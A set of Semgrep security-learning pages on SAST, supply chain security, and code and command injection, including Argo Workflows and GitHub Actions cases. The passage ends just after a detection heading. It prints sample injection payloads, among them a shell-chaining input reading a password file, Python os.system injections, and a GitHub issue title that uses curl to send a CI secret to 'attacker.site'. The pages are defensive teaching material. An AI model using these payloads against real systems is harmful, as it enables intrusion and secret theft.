* [Secure Development Workflows](/learn/security-foundations/security-testing-workflow): Plan integration points for security testing into regular development workflows.
## Additional Resources
* [Vulnerabilities](/learn/vulnerabilities/overview): Descriptions for different classes of vulnerabilities you may encounter.
* [Application Security Blog](https://semgrep.dev/blog/app-sec/): Recent blog posts about application security published by the Semgrep team.
# Understanding static code scanning tools
Source: https://docs.semgrep.dev/learn/security-foundations/sast/overview
A **Static Application Security Testing (SAST)** tool can analyze your code without executing it, scanning for potential security vulnerabilities, bugs, and code quality issues early in the development process. SAST tools examine source code acting as an automated security expert, reviewing each line of code. This doesnβt replace human review but helps accelerate the discovery of vulnerabilities and the confidence in code being ready for release.
Some key features of a good SAST tool:
* The static analysis engine should **support whole program taint analysis** which tracks the flow of tainted data such as untrusted user input and any expressions that operate upon it that may be exploited.
* **Support many programming language and frameworks** used during development, this includes core programming languages, infrastructure as code, and scripts.
* Work and **integrate seamlessly with any existing developer tooling** like IDEs, pre-commit, PR/MR comments, CI/CD pipelines, etc. Finding data should be exportable into common formats such as proprietary JSON, SARIF, or CSV so information can be sent to vulnerability management systems and for viewing metrics/trends over time.
* Support **easy to create customization**, which is crucial to be able to detect vulnerabilities for internally developed libraries and frameworks that out-of-the box solutions would miss.
* When an issue is discovered, **provide detailed remediation** **guidance** **and code auto-fixing** capabilities helps reduce the time to remediate.
We will explore how this works in the next section.
## Source code analysis & taint tracking
Static analysis tools perform many types of analysis, but a comprehensive taint analysis engine is essential for any SAST solution. Taint analysis is a data-flow analysis technique that tracks untrusted or **tainted data** as it moves through a function or method. This tainted data originates from **sources** such as user input. When tainted data isn't properly checked or sanitized, the analysis reports an issue whenever this data reaches a vulnerable function, known as a **sink**.
Examples of **sources**:
* HTTP request parameters
* Cookie values
* Database query results
* File uploads
Examples of **vulnerable** **sinks**:
* SQL query execution functions
* Command execution methods like **exec()** or **system()**
* HTML rendering functions
* File Input/Output system operations
* Serialization/deserialization methods
A data flow analysis can help with visualizing the path data takes through the software, from `req.params` (source) to `exec` (sink):
Just finding the usage of a vulnerable function such as `exec(...)` could uncover issues, but that will produce a significant amount more of false positives than being able to reason through findings which come from actionable locations such as user-controlled input.
## Broad language support
Modern development teams donβt use just one language, your SAST solution should be capable of handling all of the modern languages you use daily to write and deploy software. With this in mind, your SAST tool should have support for your existing development practices by integrating into existing tools:
* Cover the common programming languages in your organization usages e.g. C++, Java, JavaScript, Typescript, Golang, etc.
* Frameworks for common languages such as Flask, Django, Express, Spring, Next.js, React, etc. should also be supported.
* Support infrastructure as code languages such as Jsonnet, Terraform, Docker, etc.
* Provide a default-ruleset that covers common vulnerabilities specific to those supported languages.
* Support community driven rules to help increase coverage for a variety of languages that may not be in the default ruleset.
## Incorporating security testing into your workflow
To get teams to action on SAST findings they need to be surfaced in the places people will look at them, which is your development environment and workflows.
Effective SAST implementation requires integration at multiple stages of development. For developers to adopt security scanning, it must fit seamlessly into their workflow.
At the local development stage, SAST tools should provide immediate feedback as code is being written. This helps catch vulnerabilities before they even reach your repository. Later in the pipeline, integrations with your CI/CD systems ensure thorough scanning before deployment.
For a comprehensive guide on how to effectively incorporate security testing throughout your development lifecycle, check out our detailed article on [Incorporating security testing into developer workflows](/learn/security-foundations/security-testing-workflow).
## Customization
Being able to write custom rules helps with edge-cases where internal knowledge is needed to be able accurately report if something is a security vulnerability or passes the code smell test. For example:
* Your developers keep seeing the same issue get introduced into a codebase and want to prevent further additions.
* You received a bug bounty report and want to ensure that the issue does not exist in other parts of your product or re-surface in the future.
* Your internally written library exports a method e.g. `evaluateAndRespond` that executes code once called.
* A custom `security.json` file needs to include `"encyrpt": true` for all new entries.
* You want to ban any calls to a library you wrote 10 years ago, and get all code repositories to migrate to a new library.
* You have created a custom HTTP request library that you want to track that as a source if any request parameters enter dangerous sink locations that lead to SQL Injection or SSRF.
Without the ability to customize your SAST tool, it will be treated more like a check-box exercise for regulatory purposes. Instead, a SAST tool should *enable* your developers and security teams to internally detect and reduce risk at scale.
## Fix guidance
You wonβt know how to fix a vulnerability out-right without already understanding the problem it introduces, so detection alone doesnβt always cut it. Your SAST solution should provide:
* Default remediation advice which explains common ways to resolve the problem for the language you are working in.
* The ability to extend the guidance to link to internal documentation, suggest libraries, or provide code examples of how you solve this within your organization.
* Have [auto-fix](/writing-rules/rule-defined-fix) capabilities that can automatically fix the vulnerability in the susceptible piece of code.
* Integrate with LLMs to provide contextual remediation guidance and code fix suggestions.
# Incorporating security testing into development workflows
Source: https://docs.semgrep.dev/learn/security-foundations/security-testing-workflow
We have more security tools than ever, yet vulnerabilities continue to get introduced. The real problem isnβt detection, it is prevention at scale. We need to enable developers with the right tools, features, and integrations. Effective security tools meet developers where they are; in their code editors, code repositories, and ticketing systems. They are fast, accurate, and provide actionable feedback.
## Keeping developers in their workflows
Security and development teams have historically experienced friction. Developers often view security as a blocker that slows down their work, while security teams see themselves as protecting the integrity of the codebase. To make security effective, it needs to meet developers where they already work, rather than forcing them to adopt new, disconnected processes.
The DevOps movement offers a valuable lesson here: when speed and automation are prioritised, adoption improves dramatically. Security can follow the same path by focusing on accuracy and seamless integrations. The goal for security testing tools is to provide fast, precise feedback that helps developers fix issues without interrupting their flow.
## Security tools and their features
A variety of security tools are available to support developers, each addressing a different risk area. Static Application Security Testing (SAST) helps identify vulnerabilities in source code. Software Composition Analysis (SCA) monitors open-source dependencies for known vulnerabilities. Secret scanning ensures that sensitive information such as API keys or credentials is not accidentally committed to repositories.
For these tools to be truly useful, they must go beyond simply flagging issues.
* **Rule customization** is essential so teams can focus on findings that are relevant to their environment.
* Effective tools also provide **remediation guidance**, offering developers clear, actionable steps to resolve problems rather than just pointing them out.
Research has shown that customizable rules with active remediation guidance greatly improve the developer experience and result in higher fix rates \[1-4].
## Integration into developer workflows
### Local development
The most powerful place to integrate security testing is directly into the developerβs daily environment.
* **IDE Integration:** Providing real-time feedback inside the IDE allows developers to see issues as they type and receive inline fix suggestions. Research has shown that this approach can increase fix rates dramatically, in some cases up to 98% \[1-3].
* **CLI and Manual Scans:** Developers who prefer command-line workflows can run deeper, on-demand scans before committing their code.
* **Pre-commit Hooks:** Serving as the last line of defense before code enters source control, pre-commit hooks can be configured to block commits only when rules are proven to be highly accurate for a given codebase.
* **MCP Server Integration:** As AI-assisted coding becomes more common, integrating security checks directly into model-context protocol (MCP) servers ensures that LLM-generated code is automatically reviewed with context-aware security suggestions.
### CI/CD pipeline
Security checks in the CI/CD pipeline provide additional layers of assurance without disrupting the developerβs inner loop.
* **Pre-receive Hooks:** Depending on platform support, these serve as a final gate before code reaches the main branch.
* **SCM Integration Features:** Diff-aware scanning helps security tools focus on newly changed code, while automated comments on pull requests give developers immediate feedback. Status checks can also block merges for specific high-confidence rules.
* **Build Integration:** Teams can choose between incremental scans for speed or full scans for comprehensive coverage, depending on the stage of the build.
### Reporting and tracking
Security findings need to be tracked and communicated effectively to avoid becoming noise.
* **Output Formats:** Supporting common formats such as SARIF, JSON, CSV, and SBOM ensures compatibility with other systems.
* **Dashboard Requirements:** Dashboards should go beyond raw counts of vulnerabilities, offering trend analysis, mean time to remediation (MTTR), vulnerability density metrics, and adoption rates among developers. They should also make it easy to triage findings, and update rules to increase confidence.
* **Team Communication:** Automated workflows ensures the right findings are prioritized and fixed within the required time frames. The tool should integrate with the ticketing system, like Jira or Linear. It could also be enabled to send notifications to Slack or Teams, or even used for triggering webhooks for custom integrations.
## Conclusion
Security testing becomes effective when it feels like a natural extension of a developerβs workflow. Tools should be integrated directly into environments like the IDE, not added as external hurdles. Feedback must be tuned for accuracy and presented with actionable guidance so that developers can resolve issues quickly without slowing down. Ultimately, the most effective security tool is the one that developers actually use.
### References
\[1] De Cremer, Pieter. *The paved path methodology: a human-centered approach to software security*. Diss. Ghent University, 2021.
\[2] Sadowski, Caitlin, et al. "Tricorder: Building a program analysis ecosystem." 2015 IEEE/ACM 37th IEEE International Conference on Software Engineering. Vol. 1. IEEE, 2015.
\[3] De Cremer, Pieter, et al. "Sensei: Enforcing secure coding guidelines in the integrated development environment." *Software: Practice and Experience* 50.9 (2020): 1682-1718.
\[4] Xie, Jing, et al. "ASIDE: IDE support for web application security." *Proceedings of the 27th Annual Computer Security Applications Conference*. 2011.
# Understanding supply chain security
Source: https://docs.semgrep.dev/learn/security-foundations/supply-chain-security
If youβre building software, youβre likely using packages, libraries, containers, or other dependencies maintained by someone else. That convenience comes with a cost. Any weakness in the software supply chain is a potential path for compromise. Attackers exploit this growing web of third-party code, public registries, and automated build pipelines that make up the modern development stack. And because the code you depend on isnβt yours, these weaknesses are harder to find and fix.
**Supply Chain Security** is the practice of understanding and remediating those security issues. If your application depends on external code, your security does too.
In this article, weβll explore what supply chain security actually means. First, weβll look at how third-party code becomes part of your application. Then, weβll examine the risksβfrom known vulnerabilities to dependency confusion. Finally, weβll walk through how modern tools like Semgrep Supply Chain can help you detect, prioritize, and fix issues in your third-party codebase.
## What is supply chain security?
Supply chain security refers to securing all the components that contribute to building and running your software. This includes third-party libraries, system packages, build tools, container images, and the registries they come from. We use these components to speed up development, but in doing so, we inherit their bugs and vulnerabilities.
To manage that risk, organizations rely on a practice called **Software Composition Analysis (SCA)**. SCA tools examine which packages your application uses, what known issues exist in those packages, and whether those issues affect your code in practice. A good SCA tool doesnβt just surface a list of **CVEs (Common Vulnerabilities and Exposures)**, it helps you triage, prioritize, and fix them. SCA tools commonly encompass security, software licensing compliance, reliability, and more.
The challenge with supply chains is that dependency graphs are complex. Most modern apps donβt just include a few libraries, they include hundreds. Many of those are **transitive dependencies**: code that your code relies on *indirectly*, through other packages. These transitive dependencies often go unnoticed, but they carry just as much risk because the impacts of a compromise can be exponential.
Dependencies are commonly managed through two key files:
* **Manifest files** describe which packages your application needs. This includes files like JavaScript's package.json or Python's requirements.txt.
* **Lockfiles** record exactly which versions of dependencies were installed, including transitive dependencies. This includes files like Yarn's yarn.lock or NPM's package-lock.json.
Often, SCA tools may produce a file known as a **Software Bill of Materials (SBOM)** as defined by [RFC 9472](https://datatracker.ietf.org/doc/html/rfc9472). This artifact enumerates the libraries, tools, code, and often software license and security status of components. These can be important deliverables for compliance purposes for agreements around acceptance of security and legal risk.
Together, all these files help define your software supply chainβand theyβre what security tools analyze to understand your dependency tree.
## Why supply chain vulnerabilities matter
When a vulnerability is found in a package you use, your first question is usually: βIs this actually a problem for me?β Thatβs where **reachability** and **exploitability** come in.
### What is reachability?
A vulnerable function might exist in a library, but if your code never calls that function, itβs not reachable. Similarly, even if your code does call it, proper input validation or authentication checks might mean itβs not exploitable. Understanding this difference is critical for prioritizing what to fix first.
This is what makes SCA challenging. Most tools will tell you whatβs vulnerable, but not whether it matters. Thatβs why many security engineers spend hours manually investigating vulnerabilities. They look for references in the code, study input and output patterns, and try to reproduce exploits. When youβre dealing with hundreds of packages, this manual triage doesnβt scale very well.
Reachability is purely hypothetical; even if a vulnerability is reachable, it may not actually be exploitable. Exploitability is a practical assessment because user input might be properly sanitized, access controls may block entry points, etc.
Tools like [Semgrep Supply Chain](https://semgrep.dev/products/semgrep-supply-chain) help by using static analysis to detect whether vulnerabilities are actually reachable from your code. This drastically reduces false positives and lets you focus on whatβs truly risky.
## Real-world risks in the software supply chain
Letβs look at some of the ways supply chain vulnerabilities show up in practice.
### Known vulnerabilities in dependencies
These are the classic CVE-style issues. An old version of a library has a known bugβlike a [command injection](/learn/vulnerabilities/command-injection) or path traversalβand your application still uses that version. This is surprisingly common, and usually easy to fix once identified.
### Dependency confusion
If your internal package shares a name with a public package, and your build system pulls from the public registry first, an attacker can publish a malicious version and have it installed instead. This risk is higher in large organizations with a mix of public and private libraries.
### Typosquatting and malicious packages
Sometimes attackers upload packages with names that look similar to popular ones (like react1 instead of react). Other times, they intentionally submit useful-looking packages that also include malicious code. These packages can sometimes go unnoticed until theyβre already used.
### Insecure registries and build systems
Even if your dependencies are safe, if you fetch them over insecure channels, or if your CI/CD pipeline isnβt locked down, attackers can inject malicious code during builds or deployment. A **package registry** is a service used for distributing software dependencies. Each programming language typically has its own registry.
* CPAN for Perl
* NPM for Javascript
* PyPi for Python
* RubyGems for Ruby
* Packagist for PHP
* and [many more](/semgrep-supply-chain/requirements-and-feature-support)
## Detect and prioritize supply chain issues
To reduce your security risks, the first step is visibility. You need to know which packages are part of your application, what versions youβre using, and whether any of those versions are vulnerable. Tools like Semgrep Supply Chain can scan your lockfiles and give you a detailed inventory.
From there, modern SCA goes further. Using static code analysis, you can discover whether vulnerable functions are actually used by your code. That is, whether the vulnerability is reachable. This helps triage issues more efficiently and respond to vulnerabilities that matter most.
For example, suppose the JavaScript library `lodash` has a vulnerability in a rarely used function. If you donβt call that function, the vulnerability isnβt reachable. If you do, and user input reaches it, thatβs a different story.
Traditional SCA tools stop at flagging the version. But with reachability analysis, you can decide whether to fix the issue immediately, deprioritize it, or take compensating actions.
## Best practices for securing your software supply chain
Securing your supply chain doesnβt mean giving up on open source. It means managing it responsibly.
### Use lockfiles and keep them under version control
Lockfiles ensure that everyone on your team uses the same versions of each dependency. This consistency is key for both reliability and security. Without lockfiles, you may think you're running one version, but your CI system or teammate may be running another. Not all languages support lockfiles so a good SCA tool has to use other techniques.
### Keep dependencies up to date
Use dependency update tools that can propose new versions regularly, and track which updates include security fixes. Many projects let dependencies drift for years, making upgrades painful and riskier. On the other end of the spectrum, automatically including the **latest** release of a dependency can also put you at risk if the supply chain was compromised. The point is to be deliberate and thoughtful to keep dependencies up to date at regular defined intervals.
### Use a reachability-aware SCA tool
Tools like Semgrep Supply Chain help cut through the noise by identifying which vulnerabilities are actually relevant to your code.
### Audit your dependency graph for unknown or untrusted code
Pay attention to where your dependencies come from, especially transitive ones. Make sure your registries and build systems are locked down and use integrity checks where possible.
### Establish a patch and response process
Have a process in place for triaging and responding to newly disclosed vulnerabilities. If a critical issue is found in a widely used library, you want to know quicklyβand have a clear path to fixing it.
## Conclusion
Modern applications are built on a mountain of third-party code. That code brings speed, flexibility, and efficiency but also risk. When a vulnerability appears in a package you rely on, it becomes your problem, too.
In this article, we covered what supply chain security is, how vulnerabilities in third-party code can impact your application, how to detect and prioritize real risk using reachability analysis, and what steps you can take to secure your software supply chain.
Supply chain security isnβt about avoiding open source, itβs about using it safely. With the right tools and practices, you can build with confidence, knowing your dependencies are as secure as the code you write yourself.
To get started, try scanning your lockfiles with Semgrep Supply Chain and see which vulnerabilities actually matter to you. Third-party code isnβt going awayβbut with the right guardrails, it doesnβt have to be a liability.
# Code Injection
Source: https://docs.semgrep.dev/learn/vulnerabilities/code-injection
An attacker's ultimate goal is often to escalate a vulnerability into something as impactful as possible. The most dangerous outcome is arbitrary code execution, and few vulnerabilities provide as direct a path to it as code injection.
**Code injection** can enable attackers to run their own code, leading to unauthorized access, data leaks, and full system compromise. Allowing untrusted input to reach code execution functions effectively hands control of the system to the attacker.
In this article, weβll explain what dynamic code evaluation is and why this functionality is sometimes enabled in applications. Weβll then explore common attack techniques, show how these issues can be detected in your own code, and outline practical steps to reduce risk.
## What Is Code Injection?
Code injection is a type of software vulnerability that occurs when untrusted input is treated as code and executed. In other words, the attacker supplies data that the application mistakenly interprets as instructions.
This functionality often exists because developers use features like dynamic evaluation (`eval` or `exec`) to add flexibility to their code. Such features allow applications to evaluate text as code at runtime. While this can solve problems quickly, it also opens a door: if outside input reaches these functions, the application can be tricked into running commands the developer never intended.
Dynamic execution is sometimes used to launch other programs (like opening a file explorer), or to run code in a background, parallel process.
The security risk arises because the interpreter or runtime cannot distinguish between βintendedβ code and injected code once the input is passed along. At that point, the attackerβs instructions are executed with the same permissions as the application.
## Common Code Injection Attacks
One common form of code injection involves dynamic evaluation of input. Developers sometimes reach for this approach when they want to quickly process user-provided data.
### Remote Code Execution (RCE)
Even if you didnβt write any code yourself that allows for dynamic evaluation of input, you should be cautious. Many Remote Code Execution (RCE) vulnerabilities surface through the use of third party libraries that do.
For example, imagine a small web application that lets users send in a list of numbers to be added together. A developer might be tempted to pass the raw input directly into a function like `eval` to convert it into a list structure at runtime. For example, imagine a Flask route that looks like this:
```python theme={null}
from flask import Flask, request
app = Flask(__name__)
@app.route("/sum")
def sum_numbers():
numbers = request.args.get("numbers")
numbers_list = eval(numbers)
total = 0
for num in numbers_list:
total += num
return f"Sum is {total}"
```
An intended request might have the following value for the numbers request parameter:
```text theme={null}
[1,2,3]
```
The `eval` function quickly turns this string into a Python list-object, and the resulting list is easy to work with for the developer.
But since the application uses `eval`, an attacker could instead send a malicious string instead:
```python theme={null}
__import__('os').system('whoami')
```
The actual command is likely to be more malicious than executing `whoami`, with consequences far beyond just adding numbers.
## Detecting Code Injection in Your Code
Here is what that vulnerable web application might look like in simplified form:
```python theme={null}
from flask import Flask, request
app = Flask(__name__)
@app.route("/route")
def my_route():
input_string = request.args.get("string")
eval(input_string)
```
The vulnerability arises from the data flow: the request parameter, controlled by the user, flows directly into `eval`. Instead of being treated only as data, it is interpreted as code and executed by the runtime.
To spot issues like this, developers can review whether functions such as `eval` or `exec` ever receive input that originated outside the application. This isnβt always easy, as the function calls to these functions may be in third party code. Additionally, evaluating large projects manually is error-prone and time-consuming. Tools like Semgrep make this easier by automatically tracing input from sources such as web requests into functions that interpret or execute code. This allows teams to detect risky flows before they become exploitable vulnerabilities.
## Recommendations and Mitigations
The simplest way to avoid code injection is to never run dynamic code based on user input. If you find yourself reaching for functions that evaluate or execute code at runtime, stop and ask whether there is a safer alternative.
When dynamic evaluation truly cannot be avoided, strict validation becomes essential. This means defining exactly what input is acceptable and rejecting everything else. For example, if only numbers are valid, enforce numeric input only. Avoid strategies such as trying to sanitize or escape input, since these are error-prone and attackers often find ways around them.
## Conclusion
Code injection happens when applications execute untrusted input as code, giving attackers control over what the application runs. We have discussed what code injection is, how common attacks work, how you can detect them, and what practical steps can reduce risk.
As a developer, the key takeaway is simple: do not mix user input with code execution. When this is unavoidable, validate inputs strictly and use safer alternatives whenever possible. Tools like Semgrep can help you detect risky patterns before they lead to real-world problems.
Code injection remains one of the most impactful security issues because it gives attackers a direct path to execute their own instructions. By understanding how these vulnerabilities arise and how to avoid them, you can make deliberate choices about when and how to use dynamic code, and ensure that flexibility never comes at the cost of security.
# Command Injection
Source: https://docs.semgrep.dev/learn/vulnerabilities/command-injection
Imagine opening your serverβs terminal and letting a stranger type whatever they want. That is essentially what happens when untrusted input reaches an operating system command in your code. If your code runs OS commands using untrusted data, you are effectively doing just that. Allowing attackers to execute os commands can result in exposure of sensitive data, disruption of services, and arbitrary code execution. In short, total compromise of the system.
To avoid running OS commands with untrusted input, use libraries with the same functionality wherever possible. If OS commands are unavoidable, use system libraries that can separate the command from the arguments and flags, and always validate and escape the input.
In this article, we will first explain what OS command execution is and why developers use it. Next, we will cover common attacks that exploit this functionality. After that, we will show how these issues can be detected in code. Finally, we will discuss practical steps you can take to reduce risk.
## What is Command Injection?
Applications sometimes call out to the underlying operating system to perform tasks that are difficult to implement otherwise. Examples include listing files, converting media formats, invoking system utilities, or starting background processes. The convenience of delegating work to existing system tools is what makes this technique appealing.
The risk arises because system shells interpret more than just text. They recognize special characters such as `&`, `;`, or `|` that can change the meaning of a command. If untrusted input from users, APIs, or external systems reaches the shell without proper handling, it can alter the command in ways the developer did not intend. This creates an opening for OS command injection.
## Common Code Injection Attacks
One of the most basic forms of OS command injection involves chaining commands. Suppose an application accepts a user parameter and uses it directly in a system call. An attacker could supply input that ends the original command and appends a new one.
For example, consider a URL that runs a script with user input:
```text theme={null}
https://semgrep.dev/check?filename=test.txt
```
If the application internally runs:
```bash theme={null}
listfiles test.txt
```
a user could provide input like:
```text theme={null}
test.txt;cat%20/etc/passwords
```
The framework would decode the `%20` character into a string and the actual command executed would become:
```bash theme={null}
listfiles test.txt;cat /etc/passwords
```
The second command would reveal sensitive information to the attacker.
A variation known as **blind command injection** occurs when the application does not display command output. Attackers then rely on indirect signals, such as time delays. For instance, by submitting input like:
```text theme={null}
test.txt && sleep 10
```
The attacker can measure that the server takes 10 seconds longer to respond, confirming that the injected command ran.
## Detecting Command Injection Vulnerabilities in Your Code
To illustrate, here is a simplified Python Flask code example:
```python theme={null}
from flask import Flask, request
import os
app = Flask(__name__)
@app.route("/run")
def run_command():
directory = request.args.get("directory")
return_code = os.system("ls " + directory)
return "{'return_code':" + return_code + "}"
```
In this code, whatever value a user passes in the `directory` parameter is used in a system command. If someone requests:
```text theme={null}
https://semgrep.dev/run?directory=myfile;whoami
```
Then `whoami` is executed. The vulnerability arises from the data flow: input from a web request moves directly into an OS command without filtering or validation.
Developers can look for red flags such as functions that invoke the shell (`system`, `exec`, `popen`, or `subprocess` with `shell=True`) combined with input that originates from outside the application. Tools like Semgrep can automatically trace this flow. Semgrep can identify when untrusted sources, like web request parameters, reach sensitive functions that execute commands. This makes it possible to scan your codebase for such patterns and prevent them before release.
## Recommendations and Mitigations
The most effective safeguard is to avoid calling system commands from your application code. Many tasks that seem to require shell commands can often be implemented using built-in libraries or safe APIs that accept structured parameters instead of raw command strings.
If OS commands are unavoidable, use functions or APIs that accept the command separate from its arguments and flags, ensuring that special characters in the arguments cannot lead to the execution of a second command.
Even then, always carefully validate input. One strategy is to restrict values to a predetermined allowlist. Another is to ensure that input matches a limited format, such as numbers only. Quoting or escaping user input is unreliable on its own, since shells interpret text in many different ways depending on context. There are countless public payload lists showing how attackers bypass escaping and blocklists. Relying on those defenses alone is rarely sufficient.
## Conclusion
OS command injection occurs when untrusted input is used in operating system commands, giving attackers control over what those commands execute. We have discussed why applications call OS commands, how injection attacks typically work, how you can detect them in code, and what practices can help reduce the risk.
As a developer, the key lesson is to avoid mixing user input with system commands. When it cannot be avoided, validate inputs strictly and prefer safe execution methods. Tools like Semgrep can help by automatically finding injection points in your codebase.
By treating untrusted input as if it were a stranger at your keyboard, you can keep your terminal under your control.
# Command Injection in Argo Workflows
Source: https://docs.semgrep.dev/learn/vulnerabilities/command-injection/argo-injection
In March 2021, security researchers reported a [command injection](/learn/vulnerabilities/command-injection) issue in Argo Workflows (see [GitHub issue #5061](https://github.com/argoproj/argo-workflows/issues/5061)). The report highlighted how seemingly harmless parameter substitutions could allow attackers to execute arbitrary code inside Kubernetes jobs.
In this article, youβll learn to avoid using input parameters directly inside script bodies in Argo, and to convert parameters to environment variables instead to keep them safe. We will first explain what Argo Workflows are and why parameters can be risky. We will then cover common injection attacks against Argo templates. Next, we will show how to detect risky patterns in your code using Semgrep. Finally, we will provide concrete mitigation steps you can apply immediately in your workflows.
## Understanding Argo Workflows and Parameters
Argo Workflows is a Kubernetes-native workflow engine designed to define and run complex jobs. It exists to simplify running multi-step workloads, such as data processing or CI/CD pipelines, directly inside Kubernetes. Developers can define workflows in YAML, and Argo executes the steps as pods.
The features that makes Argo so flexible, the use of parameters and templates, is also what creates security risks. Parameters in templates are written with curly brace placeholders (called mustache templates) like `{{inputs.parameters.message}}`. During execution they are replaced by the actual input values.
## Common Injection Attacks in Argo Workflows
When mustache template placeholders are used directly inside a script or command, they act like unquoted user input, meaning they can inject arbitrary commands or code.
### Injection in the `script` template
The most straightforward risk is **command injection** in shell scripts. Consider this workflow step:
```yaml theme={null}
script:
image: debian:9.4
command: [bash]
source: |
echo {{inputs.parameters.message}}
```
If an attacker provides `hello | whoami` as the parameter, Argo replaces the placeholder before execution, and the container runs both `echo hello` and `whoami`. This means that the attacker can execute arbitrary commands inside your pod.
Besides shell scripts, Argo also provides support for other programming languages. With the same technique, these scripts are vulnerable to **code injection.** For example, when using Python, if you write:
```yaml theme={null}
script:
image: debian:9.4
command: [python]
source: |
print("{{inputs.parameters.message}}")
```
And the input is crafted as:
```yaml theme={null}
test")
import os
os.system("id")
print("string
```
The result is that attacker-controlled code is executed, leaking information or taking control of the container.
We have been able to reproduce these issues in many of the languages we tested: Bash, sh, Python, Node.js, Perl, and Ruby. This means any workflow using inline scripting with parameters is at risk.
### Injection in the `container` template
In the `container` template, you can specify an `image`, `command` and `args`, and this command will be executed on the docker image with the provided args. The command can contain flags, and the args seem to be multiline. Functionally it looks equivalent to the `script` template, but the string in the `args` value is properly escaped, so that no pipe symbol can be used to pipe additional commands.
However, when the command itself is not a direct shell command, but one that initiates a new shell or language interpreter such as Python, the same issues remain. Hereβs a vulnerable example:
```yaml theme={null}
container:
image: alpine:latest
command:
- sh
- '-c'
args:
- 'echo {{inputs.parameters.message}}'
```
***
## Detecting Vulnerable Patterns in Your Code
Letβs look at a vulnerable workflow template:
```yaml theme={null}
metadata:
generateName: semgrep-vuln-research-node
spec:
templates:
- name: print-message-node
inputs:
parameters:
- name: message
outputs: {}
metadata: {}
script:
name: ''
image: node:9.1-alpine
command:
- node
resources: {}
source: |
var rand = Math.floor(Math.random() * 100);
console.log("{{inputs.parameters.message}}");
entrypoint: print-message-node
arguments:
parameters:
- name: message
artifactRepositoryRef:
key: security-research
archiveLogs: true
```
Just like the example above, the vulnerability is that the `message` parameter is substituted directly into a node script. If this workflow were run with an attacker-supplied parameter, it could execute unintended commands.
To detect such cases systematically, with [Semgrep](https://semgrep.dev/), you can use the free and [open source rule](https://github.com/semgrep/semgrep-rules/blob/develop/yaml/argo/security/argo-workflow-parameter-command-injection.yaml) `argo-workflow-parameter-command-injection`. It flags instances where parameters are inserted directly into shell scripts or code sources. Semgrep scans YAML definitions and reports if a parameter placeholder is used in a risky location, such as inside `script.source` or `container.args` fields.
By running Semgrep against your workflow repository, you can catch these injection hotspots before they make it into production.
## Recommendations and Mitigations
The most effective mitigation is to avoid inserting parameters directly into script bodies. Instead, convert them into environment variables, which are properly escaped by default. For example, the previous node workflow can be rewritten as:
```yaml theme={null}
script:
image: debian:9.4
env:
- name: MESSAGE
value: "{{inputs.parameters.message}}"
command: [bash]
source: |
echo $MESSAGE
```
This way, user input is treated as plain text rather than executable code.
For Python or Node.js, apply the same pattern: store parameters in environment variables and access them safely using the languageβs standard library (`os.getenv` in Python, `process.env` in Node.js).
Integrate Semgrep into your CI pipeline to continuously scan for these issues.
## Conclusion
Command injection in Argo Workflows is a subtle but serious risk. What looks like a simple parameter substitution can allow attackers to run arbitrary commands in your Kubernetes environment. In this article, we saw how Argo parameters work, how attackers can abuse them in Bash or Python scripts, how to detect risky patterns using Semgrep, and how to fix workflows by moving parameters into environment variables.
If you use Argo Workflows today, review your YAML templates for direct parameter substitution in scripts and replace them with safer patterns. You can start by scanning your codebase with Semgrep rules designed for Argo.
# Injection Attacks in GitHub Actions
Source: https://docs.semgrep.dev/learn/vulnerabilities/command-injection/github-actions-injection
A user opens a GitHub issue titled `"; curl http://attacker.site?token=${{ secrets.SERVICE_SECRET }}; x="`, and a few seconds later, your GitHub Actions runner silently executes it. Just like that, a secret is exfiltrated. This isnβt hypotheticalβthis is a textbook example of [command injection](/learn/vulnerabilities/command-injection) in GitHub Actions.
Modern CI/CD pipelines like GitHub Actions automate everything from testing and building to deploying production code. But when workflows are written insecurely, they can become an attackerβs playground. This risk is especially relevant when user-supplied data flows directly into commands or scripts.
There are also potential for [code injection](/learn/vulnerabilities/code-injection) where instead of executing a command, source code is included in the configuration to run. So both command and code injection have a common security vulnerability theme, untrusted user input including in GitHub Actions workflows can lead to exfiltrating tokens, compromising infrastructure, or creating releases to distribute malware.
In this article, weβll break down how command and code injection can happen in GitHub Actions, explore common attack patterns, show how to detect it in code, and end with practical advice to avoid these issues in your own workflows.
## GitHub Actions Fundamentals
GitHub Actions is a CI/CD platform built directly into GitHub. At its core, a workflow is defined in a YAML file located in the `.github/workflows/` directory of a repository. Each workflow is made up of jobs, and each job typically has a *runner* which provides services to execute the job typically in a container environment. Jobs may contain multiple *steps*, which run shell commands, execute scripts, or trigger external actions.
A typical example might look like this:
```yaml theme={null}
on: pull_request
name: my-workflow
jobs:
my_job:
runs-on: ubuntu-latest
steps:
- run: echo "Hello Semgrep!"
```
Workflows can be triggered by a wide range of events, including issue creation, pull requests, pushes, and even comments. Every trigger includes a payload of metadataβsuch as issue titles or pull request branch namesβthat teams often use inside the workflow using templating syntax like `${{ github.event.issue.title }}`.
This convenience is also where the risks begin.
## Common GitHub Actions Attacks
Let's look at some common injection attacks that can happen with GitHub Actions.
### Command Injection within GitHub Actions
A workflow might include a step like this:
```yaml theme={null}
- run: echo "${{ github.event.issue.title }}"
```
This command looks innocentβit just echoes the issue title to the console. This is unsafe because `github.event.issue.title` comes from a user input field and is inserted directly into a shell command. A bad actor could open an issue in a public repo and any input they use for the title of the issue is inserted directly into the shell command.
For example, a title like this:
```text theme={null}
"; curl http://attacker.site?token=${{ secrets.SERVICE_SECRET }}; x="
```
Would result in the following shell execution:
```bash theme={null}
echo ""; curl http://attacker.site?token=... ; x=""
```
This effectively leaks the secret token to an external server. Typically this might be combined with a `sleep` so that there is an opportunity for the attacker to delay the workflow and use the temporary token with malicious intent.
Look for untrusted data sourcesβlike issue titles, branch names, comments or pull request metadataβbeing inserted into shell commands or scripts.
### Code Injection in Builds with GitHub Actions
To catch this kind of issue, you need to understand both the **source** of the data (where it comes from) and the **sink** (where itβs used). When untrusted input reaches a code execution point like `run`, `script`, or a third-party actionβs `args`, it becomes an injection risk. Care should also be taken when `uses` pulls in workflow dependencies like `run-scripts` may come from third-parties.
Here is an example of a workflow that allows the attacker to inject code through a regular pull request anticipating installation which could run any arbitrary code.
```yaml theme={null}
name: On Pull Request
on: pull_request
jobs:
job1:
steps:
- name: Checkout
uses: actions/checkout
- name: Install
uses: npm install
```
This example is for a JavaScript build but could also have been a PHP `composer`, Java `maven`, Python `pip install`, and many more package managers with a similar technique.
The attacker can include scripts in the **package.json** build pipeline:
```json theme={null}
{
"scripts": {
"preinstall": "echo 'PWN!'"
}
}
```
With access to the filesystem, the .git/config can access the repository token and send it to a server.
## Detecting GitHub Actions Vulnerabilities
